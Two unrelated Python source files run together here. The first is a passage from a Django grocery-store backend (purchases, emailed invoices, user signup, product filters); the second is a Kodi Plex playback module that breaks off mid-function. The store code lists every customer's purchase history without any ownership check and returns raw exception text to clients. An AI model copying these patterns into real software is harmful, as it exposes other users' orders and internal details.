dataSave['cant_product']=v dataSave['start_date'] = self._request.POST['start_date'] dataSave['code'] = tokenCode user = User.objects.get(email=self._request.user) compras = PurchaseConfirmation.objects.create( code=dataSave['code'], user=user, payment_type=self._request.POST['pago'], confirmation=2, product=dataSave['product'], start_date=dataSave['start_date'], cant_product=dataSave['cant_product'], ) dataSave['product'].cant = dataSave['product'].cant - int(dataSave['cant_product']) dataSave['product'].save() compras.save() dataSave = {} productId = 0 #save historial################ historialCompras = purchaseHistory.objects.create( code_purchase=tokenCode, user=user, total='' ) historialCompras.save() ############################### #Envio la factura por email carroEmail = {'compra':[]} allProducts = PurchaseConfirmation.objects.filter(code=compras.code) totalGeneral=0 for value in allProducts: carroEmail['compra'].append({ 'image':value.product.image, 'name':value.product.name, 'price':str(value.product.price)+' / '+str(value.cant_product), 'total':float(value.product.price)*int(value.cant_product), }) totalGeneral = totalGeneral+(float(value.product.price)*int(value.cant_product)) carroEmail['totalGeneral'] = totalGeneral carroEmail['totalCompleto'] = carroEmail['totalGeneral']+Tools.objects.get(pk=1).costoenvio msg_html = render_to_string('market/facturaCompra.html', { 'asunto':'Factura' , 'payment_type':self._request.POST['pago'], 'email':self._request.user, 'carro':carroEmail['compra'], 'totalGeneral':carroEmail['totalGeneral'], 'totalCompleto':carroEmail['totalCompleto'], 'codigo':tokenCode, 'costoEnvio':Tools.objects.get(pk=1).costoenvio, }) send_mail( 'Title', 'Subject', settings.EMAIL_HOST_USER,#from ['alfonsojn15@gmail.com'],#to html_message=msg_html, ) except Exception as e: print (e) self.code = 500 thread = Thread(target = hilo2) thread.start() def detailProducts(self): print (self._request.user.id) productos = PurchaseConfirmation.objects.filter(code=self._request.GET['code']) totalGeneral=0 for value in productos: totalGeneral = totalGeneral+(float(value.product.price)*int(value.cant_product)) self.response_data['data'].append({ 'payment_type':value.payment_type, 'code':value.code, 'confirmation':value.confirmation, 'start_date':value.start_date, 'name':value.product.name, 'price':value.product.price, 'image':value.product.image, 'total':float(value.product.price)*int(value.cant_product), 'cant_product':value.cant_product, }) totalCompleto = totalGeneral+Tools.objects.get(pk=1).costoenvio self.response_data['data2'].append({ 'totalGeneral':totalGeneral, 'totalCompleto':totalCompleto, 'direccion':Profile.objects.get(user=self._request.user.id).direction, 'costoenvio':Tools.objects.get(pk=1).costoenvio, }) class profileBackend(): def __init__(self, request): self._request = request self.user = 0 self.response_data = {'error':[], 'data':[]} self.code = 200 def post(self): #creacion de Usuario inssertDict = {} inssertDictProfile = {} if 'email' in self._request.POST: inssertDict['email'] = self._request.POST['email'] inssertDict['username'] = self._request.POST['email'] else: return self.response_data['error'].append("Error al crear Usuario/Sin email") if 'name' in self._request.POST: inssertDict['first_name']=self._request.POST['name'] if 'lastname' in self._request.POST: inssertDict['last_name']=self._request.POST['lastname'] if 'password' in self._request.POST: inssertDict['password'] = self._request.POST['password'] else: return self.response_data['error'].append("Error al crear Usuario/Sin contraseña") if 'phone' in self._request.POST: inssertDictProfile['phone'] = self._request.POST['phone'] else: return self.response_data['error'].append("Debe insertar un número célular") if 'direction' in self._request.POST: inssertDictProfile['direction'] = self._request.POST['direction'] else: return self.response_data['error'].append("Debe insertar una Dirección") if 'rif' in self._request.POST: inssertDictProfile['rif'] = self._request.POST['rif'] else: inssertDictProfile['rif'] = '' if 'localphone' in self._request.POST: inssertDictProfile['localphone'] = self._request.POST['localphone'] else: inssertDictProfile['localphone'] = '' if 'reference' in self._request.POST: inssertDictProfile['reference'] = self._request.POST['reference'] else: inssertDictProfile['reference'] = '' try: with transaction.atomic(): try: getVerifiedUser = User.objects.get(username=inssertDict['username']) self.code = 500 return self.response_data['error'].append("Ya este Email existe") except Exception as e: user = User.objects.create_user(**inssertDict) inssertDictProfile['user'] = user creteProfile = Profile(**inssertDictProfile) creteProfile.save() except Exception as e: print (e) self.code = 500 return self.response_data['error'].append("Error al crear Usuario"+str(e)) def accountData(self): dataA = purchaseHistory.objects.all() for a in dataA: tabladecompra = PurchaseConfirmation.objects.filter(code=a.code_purchase).last() self.response_data['data'].append({ "code_purchase":a.code_purchase, "total":a.total, "state":tabladecompra.confirmation, "payment_type":tabladecompra.payment_type, "start_date":tabladecompra.start_date-timedelta(hours=4), }) class filterProducts(): def __init__(self, request): self._request = request self.user = 0 self.response_data = {'error':[], 'data':[]} self.code = 200 def allProductsFilter(self): self.response_data['cantTotal']= Product.objects.all() for a in Product.objects.all(): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def viveresProductsFilter(self): self.response_data['cantTotal']= Product.objects.filter(category=1) for a in Product.objects.filter(category=1): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def frigorificoProductsFilter(self): self.response_data['cantTotal']= Product.objects.filter(category=2) for a in Product.objects.filter(category=2): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def enlatadosProductsFilter(self): self.response_data['cantTotal']= Product.objects.filter(category=3) for a in Product.objects.filter(category=3): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) class adminSite(): def __init__(self, request): self._request = request self.user = 0 self.response_data = {'error':[], 'data':[]} self.code = 200 def dataProductUser(self): self.response_data['cantTotal']= Product.objects.all() for a in Product.objects.all(): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def viveresProductsFilterAdmin(self): self.response_data['cantTotal']= Product.objects.filter(category=1) for a in Product.objects.filter(category=1): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def frigorificoProductsFilterAdmin(self): self.response_data['cantTotal']= Product.objects.filter(category=2) for a in Product.objects.filter(category=2): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, }) def enlatadosProductsFilterAdmin(self): self.response_data['cantTotal']= Product.objects.filter(category=3) for a in Product.objects.filter(category=3): self.response_data['data'].append({ "category":a.category, "id":a.id, "name":a.name, "cant":a.cant, "description":a.description, "image":a.image, #"price":a.price, })
player.py
from __future__ import absolute_import import base64 import threading from kodi_six import xbmc from kodi_six import xbmcgui from . import kodijsonrpc from . import colors from .windows import seekdialog from . import util from plexnet import plexplayer from plexnet import plexapp from plexnet import signalsmixin from plexnet import util as plexnetUtil import six from six.moves import range FIVE_MINUTES_MILLIS = 300000 class BasePlayerHandler(object): def __init__(self, player, session_id=None): self.player = player self.media = None self.baseOffset = 0 self.timelineType = None self.lastTimelineState = None self.ignoreTimelines = False self.playQueue = None self.sessionID = session_id def onPrePlayStarted(self): pass def onPlayBackStarted(self): pass def onPlayBackPaused(self): pass def onPlayBackResumed(self): pass def onPlayBackStopped(self): pass def onPlayBackEnded(self): pass def onPlayBackSeek(self, stime, offset): pass def onPlayBackFailed(self): pass def onVideoWindowOpened(self): pass def onVideoWindowClosed(self): pass def onVideoOSD(self): pass def onSeekOSD(self): pass def onMonitorInit(self): pass def tick(self): pass def close(self): pass @property def trueTime(self): return self.baseOffset + self.player.currentTime def getCurrentItem(self): if self.player.playerObject: return self.player.playerObject.item return None def shouldSendTimeline(self, item): return item.ratingKey and item.getServer() def currentDuration(self): if self.player.playerObject: try: return int(self.player.getTotalTime() * 1000) except RuntimeError: pass return 0 def updateNowPlaying(self, force=False, refreshQueue=False, state=None): if self.ignoreTimelines: return item = self.getCurrentItem() if not item: return if not self.shouldSendTimeline(item): return state = state or self.player.playState # Avoid duplicates if state == self.lastTimelineState and not force: return self.lastTimelineState = state # self.timelineTimer.reset() time = int(self.trueTime * 1000) # self.trigger("progress", [m, item, time]) if refreshQueue and self.playQueue: self.playQueue.refreshOnTimeline = True plexapp.util.APP.nowplayingmanager.updatePlaybackState( self.timelineType, self.player.playerObject, state, time, self.playQueue, duration=self.currentDuration() ) class SeekPlayerHandler(BasePlayerHandler): NO_SEEK = 0 SEEK_IN_PROGRESS = 2 SEEK_PLAYLIST = 3 SEEK_REWIND = 4 SEEK_POST_PLAY = 5 MODE_ABSOLUTE = 0 MODE_RELATIVE = 1 def __init__(self, player, session_id=None): BasePlayerHandler.__init__(self, player, session_id) self.dialog = None self.playlist = None self.playQueue = None self.timelineType = 'video' self.ended = False self.bifURL = '' self.title = '' self.title2 = '' self.reset() def reset(self): self.duration = 0 self.offset = 0 self.baseOffset = 0 self.seeking = self.NO_SEEK self.seekOnStart = 0 self.mode = self.MODE_RELATIVE self.ended = False def setup(self, duration, offset, bif_url, title='', title2='', seeking=NO_SEEK): self.ended = False self.baseOffset = offset / 1000.0 self.seeking = seeking self.duration = duration self.bifURL = bif_url self.title = title self.title2 = title2 self.getDialog(setup=True) self.dialog.setup(self.duration, int(self.baseOffset * 1000), self.bifURL, self.title, self.title2) def getDialog(self, setup=False): if not self.dialog: self.dialog = seekdialog.SeekDialog.create(show=False, handler=self) return self.dialog @property def trueTime(self): if self.mode == self.MODE_RELATIVE: return self.baseOffset + self.player.currentTime else: if self.seekOnStart: return self.player.playerObject.startOffset + (self.seekOnStart / 1000) else: return self.player.currentTime + self.player.playerObject.startOffset def shouldShowPostPlay(self): if self.playlist and self.playlist.TYPE == 'playlist': return False if self.player.video.duration.asInt() <= FIVE_MINUTES_MILLIS: return False return True def showPostPlay(self): if not self.shouldShowPostPlay(): return self.seeking = self.SEEK_POST_PLAY self.hideOSD(delete=True) self.player.trigger('post.play', video=self.player.video, playlist=self.playlist, handler=self) return True def next(self, on_end=False): if self.playlist and next(self.playlist): self.seeking = self.SEEK_PLAYLIST if on_end: if self.showPostPlay(): return True if not self.playlist: return False self.player.playVideoPlaylist(self.playlist, handler=self) return True def prev(self): if not self.playlist or not self.playlist.prev(): return False self.seeking = self.SEEK_PLAYLIST self.player.playVideoPlaylist(self.playlist, handler=self) return True def playAt(self, pos): if not self.playlist or not self.playlist.setCurrent(pos): return False self.seeking = self.SEEK_PLAYLIST self.player.playVideoPlaylist(self.playlist, handler=self) return True def onSeekAborted(self): if self.seeking: self.seeking = self.NO_SEEK self.player.control('play') def showOSD(self, from_seek=False): self.updateOffset() if self.dialog: self.dialog.update(self.offset, from_seek) self.dialog.showOSD() def hideOSD(self, delete=False): util.CRON.forceTick() if self.dialog: self.dialog.hideOSD() if delete: d = self.dialog self.dialog = None d.doClose() del d util.garbageCollect() def seek(self, offset, settings_changed=False, seeking=SEEK_IN_PROGRESS): if offset is None: return self.offset = offset if self.mode == self.MODE_ABSOLUTE and not settings_changed: util.DEBUG_LOG('New player offset: {0}'.format(self.offset)) if self.player.playerObject.offsetIsValid(offset / 1000): if self.seekAbsolute(offset): return self.updateNowPlaying(state=self.player.STATE_PAUSED) # To for update after seek self.seeking = self.SEEK_IN_PROGRESS if self.player.playState == self.player.STATE_PAUSED: self.player.pauseAfterPlaybackStarted = True util.DEBUG_LOG('New player offset: {0}'.format(self.offset)) self.player._playVideo(offset, seeking=self.seeking, force_update=settings_changed) def fastforward(self): xbmc.executebuiltin('PlayerControl(forward)') def rewind(self): if self.mode == self.MODE_ABSOLUTE: xbmc.executebuiltin('PlayerControl(rewind)') else: self.seek(max(self.trueTime - 30, 0) * 1000, seeking=self.SEEK_REWIND) def seekAbsolute(self, seek=None): self.seekOnStart = seek or (self.seekOnStart if self.seekOnStart else None) if self.seekOnStart is not None: seekSeconds = self.seekOnStart / 1000.0 try: if seekSeconds >= self.player.getTotalTime(): util.DEBUG_LOG("SeekAbsolute: Bad offset: {0}".format(seekSeconds)) return False except RuntimeError: # Not playing a file util.DEBUG_LOG("SeekAbsolute: runtime error") return False self.updateNowPlaying(state=self.player.STATE_PAUSED) # To for update after seek util.DEBUG_LOG("SeekAbsolute: Seeking to {0}".format(self.seekOnStart)) self.player.seekTime(self.seekOnStart / 1000.0) return True def onPlayBackStarted(self): util.DEBUG_LOG('SeekHandler: onPlayBackStarted - mode={0}'.format(self.mode)) self.updateNowPlaying(force=True, refreshQueue=True) def onPlayBackResumed(self): self.updateNowPlaying() if self.dialog: self.dialog.onPlaybackResumed() util.CRON.forceTick() # self.hideOSD() def onPlayBackStopped(self): util.DEBUG_LOG('SeekHandler: onPlayBackStopped - Seeking={0}'.format(self.seeking)) if self.seeking not in (self.SEEK_IN_PROGRESS, self.SEEK_REWIND): self.updateNowPlaying() # show post play if possible, if an item has been watched (90% by Plex standards) if self.trueTime * 1000 / float(self.duration) >= 0.90 and self.next(on_end=True): return if self.seeking not in (self.SEEK_IN_PROGRESS, self.SEEK_PLAYLIST): self.hideOSD(delete=True) self.sessionEnded() def onPlayBackEnded(self): util.DEBUG_LOG('SeekHandler: onPlayBackEnded - Seeking={0}'.format(self.seeking)) if self.player.playerObject.hasMoreParts(): self.updateNowPlaying(state=self.player.STATE_PAUSED) # To for update after seek self.seeking = self.SEEK_IN_PROGRESS self.player._playVideo(self.player.playerObject.getNextPartOffset(), seeking=self.seeking) return self.updateNowPlaying() if self.next(on_end=True): return if self.seeking != self.SEEK_PLAYLIST: self.hideOSD() if self.seeking not in (self.SEEK_IN_PROGRESS, self.SEEK_PLAYLIST): self.sessionEnded() def onPlayBackPaused(self): self.updateNowPlaying() if self.dialog: self.dialog.onPlaybackPaused() def onPlayBackSeek(self, stime, offset): if self.seekOnStart: seeked = False if self.dialog: seeked = self.dialog.tick(stime) if seeked: util.DEBUG_LOG("OnPlayBackSeek: Seeked on start") self.seekOnStart = 0 return self.updateOffset() # self.showOSD(from_seek=True) def setSubtitles(self): subs = self.player.video.selectedSubtitleStream() if subs: xbmc.sleep(100) self.player.showSubtitles(False) path = subs.getSubtitleServerPath() if path: if self.mode == self.MODE_ABSOLUTE: util.DEBUG_LOG('Setting subtitle path: {0}'.format(path)) self.player.setSubtitles(path) self.player.showSubtitles(True) else: util.DEBUG_LOG('Transcoded. Skipping subtitle path: {0}'.format(path)) else: # u_til.TEST(subs.__dict__) # u_til.TEST(self.player.video.mediaChoice.__dict__) if self.mode == self.MODE_ABSOLUTE: util.DEBUG_LOG('Enabling embedded subtitles at: {0}'.format(subs.typeIndex)) util.DEBUG_LOG('Kodi reported subtitles: {0}'.format(self.player.getAvailableSubtitleStreams())) self.player.setSubtitleStream(subs.typeIndex) self.player.showSubtitles(True) else: self.player.showSubtitles(False) def setAudioTrack(self): if self.mode == self.MODE_ABSOLUTE: track = self.player.video.selectedAudioStream() if track: try: playerID = kodijsonrpc.rpc.Player.GetActivePlayers()[0]["playerid"] currIdx = kodijsonrpc.rpc.Player.GetProperties(playerid=playerID, properties=['currentaudiostream'])['currentaudiostream']['index'] if currIdx == track.typeIndex: util.DEBUG_LOG('Audio track is correct index: {0}'.format(track.typeIndex)) return except: util.ERROR() xbmc.sleep(100) util.DEBUG_LOG('Switching audio track - index: {0}'.format(track.typeIndex)) self.player.setAudioStream(track.typeIndex) def updateOffset(self): self.offset = int(self.player.getTime() * 1000) def initPlayback(self): self.seeking = self.NO_SEEK self.setSubtitles() self.setAudioTrack() if self.mode == self.MODE_ABSOLUTE: self.seekAbsolute() def onPlayBackFailed(self): util.DEBUG_LOG('SeekHandler: onPlayBackFailed - Seeking={0}'.format(self.seeking)) if self.seeking not in (self.SEEK_IN_PROGRESS, self.SEEK_PLAYLIST): self.sessionEnded() if self.seeking == self.SEEK_IN_PROGRESS: return False else: self.seeking = self.NO_SEEK return True # def onSeekOSD(self): # self.dialog.activate() def onVideoWindowOpened(self): self.getDialog().show() self.initPlayback() def onVideoWindowClosed(self): self.hideOSD() util.DEBUG_LOG('SeekHandler: onVideoWindowClosed - Seeking={0}'.format(self.seeking)) if not self.seeking: self.player.stop() if not self.playlist or not self.playlist.hasNext(): if not self.shouldShowPostPlay(): self.sessionEnded() def onVideoOSD(self): # xbmc.executebuiltin('Dialog.Close(seekbar,true)') # Doesn't work :) self.showOSD() def tick(self): if self.seeking != self.SEEK_IN_PROGRESS: self.updateNowPlaying(force=True) if self.dialog: self.dialog.tick() def close(self): self.hideOSD(delete=True) def sessionEnded(self): if self.ended: return self.ended = True util.DEBUG_LOG('Player: Video session ended') self.player.trigger('session.ended', session_id=self.sessionID) self.hideOSD(delete=True) class AudioPlayerHandler(BasePlayerHandler): def __init__(self, player): BasePlayerHandler.__init__(self, player) self.timelineType = 'music' util.setGlobalProperty('track.ID', '') self.extractTrackInfo() def extractTrackInfo(self): if not self.player.isPlayingAudio(): return plexID = None for x in range(10): # Wait a sec (if necessary) for this to become available try: item = kodijsonrpc.rpc.Player.GetItem(playerid=0, properties=['comment'])['item'] plexID = item['comment'] except: util.ERROR() if plexID: break xbmc.sleep(100) if not plexID: return if not plexID.startswith('PLEX-'): return util.DEBUG_LOG('Extracting track info from comment') try: data = plexID.split(':', 1)[-1] from plexnet import plexobjects track = plexobjects.PlexObject.deSerialize(base64.urlsafe_b64decode(data.encode('utf-8'))) track.softReload() self.media = track pobj = plexplayer.PlexAudioPlayer(track) self.player.playerObject = pobj self.updatePlayQueueTrack(track) util.setGlobalProperty('track.ID', track.ratingKey) # This is used in the skins to match a listitem except: util.ERROR() def setPlayQueue(self, pq): self.playQueue = pq pq.on('items.changed', self.playQueueCallback) def playQueueCallback(self, **kwargs): plist = xbmc.PlayList(xbmc.PLAYLIST_MUSIC) # plist.clear() try: citem = kodijsonrpc.rpc.Player.GetItem(playerid=0, properties=['comment'])['item'] plexID = citem['comment'].split(':', 1)[0] except: util.ERROR() return current = plist.getposition() size = plist.size() # Remove everything but the current track for x in range(size - 1, current, -1): # First everything with a greater position kodijsonrpc.rpc.Playlist.Remove(playlistid=xbmc.PLAYLIST_MUSIC, position=x) for x in range(current): # Then anything with a lesser position kodijsonrpc.rpc.Playlist.Remove(playlistid=xbmc.PLAYLIST_MUSIC, position=0) swap = None for idx, track in enumerate(self.playQueue.items()): tid = 'PLEX-{0}'.format(track.ratingKey) if tid == plexID: # Save the position of the current track in the pq swap = idx url, li = self.player.createTrackListItem(track, index=idx + 1) plist.add(url, li) plist[0].setInfo('music', { 'playcount': swap + 1, }) # Now swap the track to the correct position. This seems to be the only way to update the kodi playlist position to the current track's new position if swap is not None: kodijsonrpc.rpc.Playlist.Swap(playlistid=xbmc.PLAYLIST_MUSIC, position1=0, position2=swap + 1) kodijsonrpc.rpc.Playlist.Remove(playlistid=xbmc.PLAYLIST_MUSIC, position=0) self.player.trigger('playlist.changed') def updatePlayQueue(self, delay=False): if not self.playQueue: return self.playQueue.refresh(delay=delay) def updatePlayQueueTrack(self, track): if not self.playQueue: return self.playQueue.selectedId = track.playQueueItemID or None @property def trueTime(self): try: return self.player.getTime() except: return self.player.currentTime def stampCurrentTime(self): try: self.player.currentTime = self.player.getTime() except RuntimeError: # Not playing pass def onMonitorInit(self): self.extractTrackInfo() self.updateNowPlaying(state='playing') def onPlayBackStarted(self): self.updatePlayQueue(delay=True) self.extractTrackInfo() self.updateNowPlaying(state='playing') def onPlayBackResumed(self): self.updateNowPlaying(state='playing') def onPlayBackPaused(self): self.updateNowPlaying(state='paused') def onPlayBackStopped(self): self.updatePlayQueue() self.updateNowPlaying(state='stopped') self.finish() def onPlayBackEnded(self): self.updatePlayQueue() self.updateNowPlaying(state='stopped') self.finish() def onPlayBackFailed(self): return True def finish(self): self.player.trigger('session.ended') util.setGlobalProperty('track.ID', '') def tick(self): self.stampCurrentTime() self.updateNowPlaying(force=True) class PlexPlayer(xbmc.Player, signalsmixin.SignalsMixin): STATE_STOPPED = "stopped" STATE_PLAYING = "playing" STATE_PAUSED = "paused" STATE_BUFFERING = "buffering" def __init__(self, *args, **kwargs): xbmc.Player.__init__(self, *args, **kwargs) signalsmixin.SignalsMixin.__init__(self) def init(self): self._closed = False self._nextItem = None self.started = False self.pauseAfterPlaybackStarted = False self.video = None self.hasOSD = False self.hasSeekOSD = False self.handler = AudioPlayerHandler(self) self.playerObject = None self.currentTime = 0 self.thread = None if xbmc.getCondVisibility('Player.HasMedia'): self.started = True self.open() return self def open(self): self._closed = False self.monitor() def close(self, shutdown=False): self._closed = True def reset(self): self.video = None self.started = False self.playerObject = None self.pauseAfterPlaybackStarted = False self.handler = AudioPlayerHandler(self) self.currentTime = 0 def control(self, cmd): if cmd == 'play': self.pauseAfterPlaybackStarted = False util.DEBUG_LOG('Player - Control: Command=Play') if xbmc.getCondVisibility('Player.Paused | !Player.Playing'): util.DEBUG_LOG('Player - Control: Playing') xbmc.executebuiltin('PlayerControl(Play)') elif cmd == 'pause': util.DEBUG_LOG('Player - Control: Command=Pause') if not xbmc.getCondVisibility('Player.Paused'): util.DEBUG_LOG('Player - Control: Pausing') xbmc.executebuiltin('PlayerControl(Play)') @property def playState(self): if xbmc.getCondVisibility('Player.Playing'): return self.STATE_PLAYING elif xbmc.getCondVisibility('Player.Caching'): return self.STATE_BUFFERING elif xbmc.getCondVisibility('Player.Paused'): return self.STATE_PAUSED return self.STATE_STOPPED def videoIsFullscreen(self): return xbmc.getCondVisibility('VideoPlayer.IsFullscreen') def currentTrack(self): if self.handler.media and self.handler.media.type == 'track': return self.handler.media return None def playAt(self, path, ms): """ Plays the video specified by path. Optionally set the start position with h,m,s,ms keyword args. """ seconds = ms / 1000.0 h = int(seconds / 3600) m = int((seconds % 3600) / 60) s = int(seconds % 60) ms = int((seconds % 1) * 1000) kodijsonrpc.rpc.Player.Open( item={'file': path}, options={'resume': {'hours': h, 'minutes': m, 'seconds': s, 'milliseconds': ms}} ) def play(self, *args, **kwargs): self.started = False xbmc.Player.play(self, *args, **kwargs) def playVideo(self, video, resume=False, force_update=False, session_id=None, handler=None): self.handler = handler or SeekPlayerHandler(self, session_id) self.video = video self.open() self._playVideo(resume and video.viewOffset.asInt() or 0, force_update=force_update) def _playVideo(self, offset=0, seeking=0, force_update=False, playerObject=None): self.trigger('new.video', video=self.video) self.trigger( 'change.background', url=self.video.defaultArt.asTranscodedImageURL(1920, 1080, opacity=60, background=colors.noAlpha.Background) ) try: if not playerObject: self.playerObject = plexplayer.PlexPlayer(self.video, offset, forceUpdate=force_update) self.playerObject.build() self.playerObject = self.playerObject.getServerDecision() except plexplayer.DecisionFailure as e: util.showNotification(e.reason, header=util.T(32448, 'Playback Failed!')) return except: util.ERROR(notify=True) return meta = self.playerObject.metadata url = meta.streamUrls[0] bifURL = self.playerObject.getBifUrl() util.DEBUG_LOG('Playing URL(+{1}ms): {0}{2}'.format(plexnetUtil.cleanToken(url), offset, bifURL and ' - indexed' or '')) self.stopAndWait() # Stop before setting up the handler to prevent player events from causing havoc self.handler.setup(self.video.duration.asInt(), offset, bifURL, title=self.video.grandparentTitle, title2=self.video.title, seeking=seeking) if meta.isTranscoded: self.handler.mode = self.handler.MODE_RELATIVE else: if offset: self.handler.seekOnStart = meta.playStart * 1000 self.handler.mode = self.handler.MODE_ABSOLUTE url = util.addURLParams(url, { 'X-Plex-Client-Profile-Name': 'Chrome', 'X-Plex-Client-Identifier': plexapp.util.INTERFACE.getGlobal('clientIdentifier') }) li = xbmcgui.ListItem(self.video.title, path=url) vtype = self.video.type if self.video.type in ('movie', 'episode', 'musicvideo') else 'video' li.setInfo('video', { 'mediatype': vtype, 'title': self.video.title, 'originaltitle': self.video.title, 'tvshowtitle': self.video.grandparentTitle, 'episode': self.video.index.asInt(), 'season': self.video.parentIndex.asInt(), 'year': self.video.year.asInt(), 'plot': self.video.summary }) li.setArt({ 'poster': self.video.defaultThumb.asTranscodedImageURL(347, 518), 'fanart': self.video.defaultArt.asTranscodedImageURL(1920, 1080), 'thumb': self.video.defaultThumb.asTranscodedImageURL(256, 256), }) self.play(url, li) def playVideoPlaylist(self, playlist, resume=True, handler=None, session_id=None): if handler: self.handler = handler else: self.handler = SeekPlayerHandler(self, session_id) self.handler.playlist = playlist if playlist.isRemote: self.handler.playQueue = playlist self.video = playlist.current() self.video.softReload() self.open() self._playVideo(resume and self.video.viewOffset.asInt() or 0, seeking=handler and handler.SEEK_PLAYLIST or 0, force_update=True) # def createVideoListItem(self, video, index=0): # url = 'plugin://script.plex/play?{0}'.format(base64.urlsafe_b64encode(video.serialize())) # li = xbmcgui.ListItem(self.video.title, path=url, thumbnailImage=self.video.defaultThumb.asTranscodedImageURL(256, 256)) # vtype = self.video.type if self.video.vtype in ('movie', 'episode', 'musicvideo') else 'video' # li.setInfo('video', { # 'mediatype': vtype, # 'playcount': index, # 'title': video.title, # 'tvshowtitle': video.grandparentTitle, # 'episode': video.index.asInt(), # 'season': video.parentIndex.asInt(), # 'year': video.year.asInt(), # 'plot': video.summary # }) # li.setArt({ # 'poster': self.video.defaultThumb.asTranscodedImageURL(347, 518), # 'fanart': self.video.defaultArt.asTranscodedImageURL(1920, 1080), # }) # return url, li def playAudio(self, track, fanart=None): self.handler = AudioPlayerHandler(self) url, li = self.createTrackListItem(track, fanart) self.stopAndWait() self.play(url, li) def playAlbum(self, album, startpos=-1, fanart=None): self.handler = AudioPlayerHandler(self) plist = xbmc.PlayList(xbmc.PLAYLIST_MUSIC) plist.clear() index = 1 for track in album.tracks(): url, li = self.createTrackListItem(track, fanart, index=index) plist.add(url, li) index += 1 xbmc.executebuiltin('PlayerControl(RandomOff)') self.stopAndWait() self.play(plist, startpos=startpos) def playAudioPlaylist(self, playlist, startpos=-1, fanart=None): self.handler = AudioPlayerHandler(self) plist = xbmc.PlayList(xbmc.PLAYLIST_MUSIC) plist.clear() index = 1 for track in playlist.items(): url, li = self.createTrackListItem(track, fanart, index=index) plist.add(url, li) index += 1 if playlist.isRemote: self.handler.setPlayQueue(playlist) else: if playlist.startShuffled: plist.shuffle() xbmc.executebuiltin('PlayerControl(RandomOn)') else: xbmc.executebuiltin('PlayerControl(RandomOff)') self.stopAndWait() self.play(plist, startpos=startpos) def createTrackListItem(self, track, fanart=None, index=0): data = base64.urlsafe_b64encode(track.serialize()) url = 'plugin://script.plex/play?{0}'.format(data) li = xbmcgui.ListItem(track.title, path=url) li.setInfo('music', { 'artist': six.text_type(track.originalTitle or track.grandparentTitle), 'title': six.text_type(track.title), 'album': six.text_type(track.parentTitle), 'discnumber': track.parentIndex.asInt(), 'tracknumber': track.get('index').asInt(), 'duration': int(track.duration.asInt() / 1000), 'playcount': index, 'comment': 'PLEX-{0}:{1}'.format(track.ratingKey, data) }) art = fanart or track.defaultArt li.setArt({ 'fanart': art.asTranscodedImageURL(1920, 1080), 'landscape': art.asTranscodedImageURL(1920, 1080, blur=128, opacity=60, background=colors.noAlpha.Background), 'thumb': track.defaultThumb.asTranscodedImageURL(800, 800), }) if fanart: li.setArt({'fanart': fanart}) return (url, li) def onPrePlayStarted(self): util.DEBUG_LOG('Player - PRE-PLAY') self.trigger('preplay.started') if not self.handler: return self.handler.onPrePlayStarted() def onPlayBackStarted(self): self.started = True if self.pauseAfterPlaybackStarted: self.control('pause') self.pauseAfterPlaybackStarted = False util.DEBUG_LOG('Player - STARTED') self.trigger('playback.started') if not self.handler: return self.handler.onPlayBackStarted() def onPlayBackPaused(self): util.DEBUG_LOG('Player - PAUSED') if not self.handler: return self.handler.onPlayBackPaused() def onPlayBackResumed(self): util.DEBUG_LOG('Player - RESUMED') if not self.handler: return self.handler.onPlayBackResumed() def onPlayBackStopped(self): if not self.started: self.onPlayBackFailed() util.DEBUG_LOG('Player - STOPPED' + (not self.started and ': FAILED' or '')) if not self.handler: return self.handler.onPlayBackStopped() def onPlayBackEnded(self): if not self.started: self.onPlayBackFailed() util.DEBUG_LOG('Player - ENDED' + (not self.started and ': FAILED' or '')) if not self.handler: return self.handler.onPlayBackEnded() def onPlayBackSeek(self, time, offset): util.DEBUG_LOG('Player - SEEK: %i' % offset) if not self.handler: return self.handler.onPlayBackSeek(time, offset) def onPlayBackFailed(self): util.DEBUG_LOG('Player - FAILED') if not self.handler: return if self.handler.onPlayBackFailed(): util.showNotification(util.T(32448, 'Playback Failed!')) # xbmcgui.Dialog().ok('Failed', 'Playback failed') def onVideoWindowOpened(self): util.DEBUG_LOG('Player: Video window opened') try: self.handler.onVideoWindowOpened() except: util.ERROR() def onVideoWindowClosed(self): util.DEBUG_LOG('Player: Video window closed') try: self.handler.onVideoWindowClosed() # self.stop() except: util.ERROR() def onVideoOSD(self): util.DEBUG_LOG('Player: Video OSD opened') try: self.handler.onVideoOSD() except: util.ERROR() def onSeekOSD(self): util.DEBUG_LOG('Player: Seek OSD opened') try: self.handler.onSeekOSD() except: util.ERROR() def stopAndWait(self): if self.isPlaying(): util.DEBUG_LOG('Player: Stopping and waiting...') self.stop() while not util.MONITOR.waitForAbort(0.1) and self.isPlaying(): pass util.MONITOR.waitForAbort(0.2) util.DEBUG_LOG('Player: Stopping and waiting...Done') def monitor(self): if not self.thread or not self.thread.isAlive(): self.thread = threading.Thread(target=self._monitor, name='PLAYER:MONITOR') self.thread.start() def _monitor(self): try: while not util.MONITOR.abortRequested() and not self._closed: if not self.isPlaying(): util.DEBUG_LOG('Player: Idling...') while not self.isPlaying() and not util.MONITOR.abortRequested() and not self._closed: util.MONITOR.waitForAbort(0.1) if self.isPlayingVideo(): util.DEBUG_LOG('Monitoring video...') self._videoMonitor() elif self.isPlayingAudio(): util.DEBUG_LOG('Monitoring audio...') self._audioMonitor() elif self.isPlaying(): util.DEBUG_LOG('Monitoring pre-play...') self._preplayMonitor() self.handler.close() self.close() util.DEBUG_LOG('Player: Closed') finally: self.trigger('session.ended') def _preplayMonitor(self): self.onPrePlayStarted() while self.isPlaying() and not self.isPlayingVideo() and not self.isPlayingAudio() and not util.MONITOR.abortRequested() and not self._closed: util.MONITOR.waitForAbort(0.1) if not self.isPlayingVideo() and not self.isPlayingAudio(): 